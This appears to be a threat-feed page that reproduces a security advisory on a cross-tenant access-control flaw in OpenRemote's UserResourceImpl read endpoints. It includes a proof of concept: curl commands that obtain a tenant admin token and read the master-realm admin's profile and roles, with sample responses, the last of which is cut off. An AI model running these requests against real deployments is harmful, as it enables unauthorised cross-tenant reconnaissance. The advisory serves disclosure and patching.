Skip to main content

Threats Tagged 'ghsa-xqr9-4wvv-gvch'

View all threats tagged with 'ghsa-xqr9-4wvv-gvch'. Filter and sort to focus on specific types of threats.

Pro Console Lifetime

Stop chasing alerts. Route them.

Start free, then upgrade once to turn Radar into an automated delivery engine for your security stack.

Custom feeds / Automations: email, Slack, webhooks, SIEM/MISP / API access (baseline limits)

View Plans & Pricing

API access activates after upgrading in Console -> Billing.

Breach by OffSeqOFFSEQFRIENDS — 25% OFF

Check if your credentials are on the dark web

Instant breach scanning across billions of leaked records. Free tier available.

Scan now

Filter Threats

Narrow down the results by type, severity, or affected countries

Search threats by title, CVE ID, or description. Maximum 100 characters.
Active filters (1):Tag: ghsa-xqr9-4wvv-gvch

Threats Tagged 'ghsa-xqr9-4wvv-gvch'

Click on any threat for detailed analysis and mitigation recommendations

### Summary A realm admin of tenant B can read the profile, client roles, and realm roles of any user in any other realm (including the master realm) by supplying the target user's UUID in the REST API path. Three read endpoints in UserResourceImpl check whether the caller holds the read:admin role but omit a check that the target user belongs to the caller's own realm. The vulnerability enables cross-tenant user enumeration and privilege-level reconnaissance. On a multi-tenant deployment the master realm administrator account is reachable from any tenant realm admin. ### Details The affected file is manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java. Three methods are missing an authenticated-realm guard: get (line 102): public User get(RequestParams requestParams, String realm, String userId) { boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID); if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) { throw new ForbiddenException("..."); } try { return identityService.getIdentityProvider().getUser(userId); } ... } The realm path parameter is accepted but never used. getUser(userId) delegates to getUserByIdFromDb(persistenceService, userId) which queries the database by UUID with no realm filter. getUserClientRoles (line 294): public String[] getUserClientRoles(RequestParams requestParams, String realm, String userId, String clientId) { boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID); if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) { throw new ForbiddenException("..."); } try { return identityService.getIdentityProvider().getUserClientRoles(realm, userId, clientId); } ... } getUserRealmRoles (line 313): public String[] getUserRealmRoles(RequestParams requestParams, String realm, String userId) { boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID); if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) { throw new ForbiddenException("..."); } try { return identityService.getIdentityProvider().getUserRealmRoles(realm, userId); } ... } By contrast, all write-side methods in the same file invoke throwIfCannotAdminRealm(realm) (lines 175, 190, 264, 333, 351, 386) which calls authContext.isRealmAccessibleByUser(realm), correctly enforcing the realm boundary. The read methods were not updated when this guard was added for the write paths. The existing GHSA-49vv-25qx-mg44 (Improper Access Control in UserResourceImpl, patched April 2026) fixed the updateUserRealmRoles write path. The read methods in the same class remain unpatched at HEAD. ### PoC Prerequisites: two active realms (master and tenantb). The attacker authenticates as a realm-admin-level user of tenantb with read:admin role. Any valid UUID from the master realm suffices as the target userId. Step 1. Obtain the master admin user UUID (this is typically discoverable from the audit log, API responses, or provisioning records visible to the tenantb admin). Step 2. Obtain an access token for the tenantb admin: TENANTB_TOKEN=$(curl -s -X POST \ "https://<host>/auth/realms/tenantb/protocol/openid-connect/token" \ -d "client_id=openremote&grant_type=password&username=tenantb_admin&password=TenantB123!" \ | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])") Step 3. Read a master-realm user profile using the tenantb token: curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \ "https://<host>/api/tenantb/user/master/f05e9eb4-0de6-45a6-9dc5-088402465e4e" Observed response from the live test instance (commit 22a42a7, 2026-06-04): {"realm":"master","realmId":"104856cd-ae5b-4a2d-917a-7e7f700561c8", "id":"f05e9eb4-0de6-45a6-9dc5-088402465e4e", "firstName":"System","lastName":"Administrator", "enabled":true,"createdOn":1780550421390, "serviceAccount":false,"username":"admin"} HTTP 200 Step 4. Read master-admin realm roles: curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \ "https://<host>/api/tenantb/user/master/userRealmRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e" Observed response: ["admin"] HTTP 200 Step 5. Read master-admin client roles: curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \ "https://<host>/api/tenantb/user/master/userRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e/openremote" Observed response: ["read:alarms","read:logs","write:logs","read:admin","write:insights","read:services", "write:alarms","write:attributes","write:services","write:user","write:assets", "read:insights","read:map","read:users","read:assets","read:rules","write", "write:admin","read","write:rules

Join the discussion

Showing 1 to 1 of 1 result

Filters:Tag: ghsa-xqr9-4wvv-gvch
Page 1 of 1
OffSeq TrainingCredly Certified

Lead Pen Test Professional

Technical5-day eLearningPECB Accredited
View courses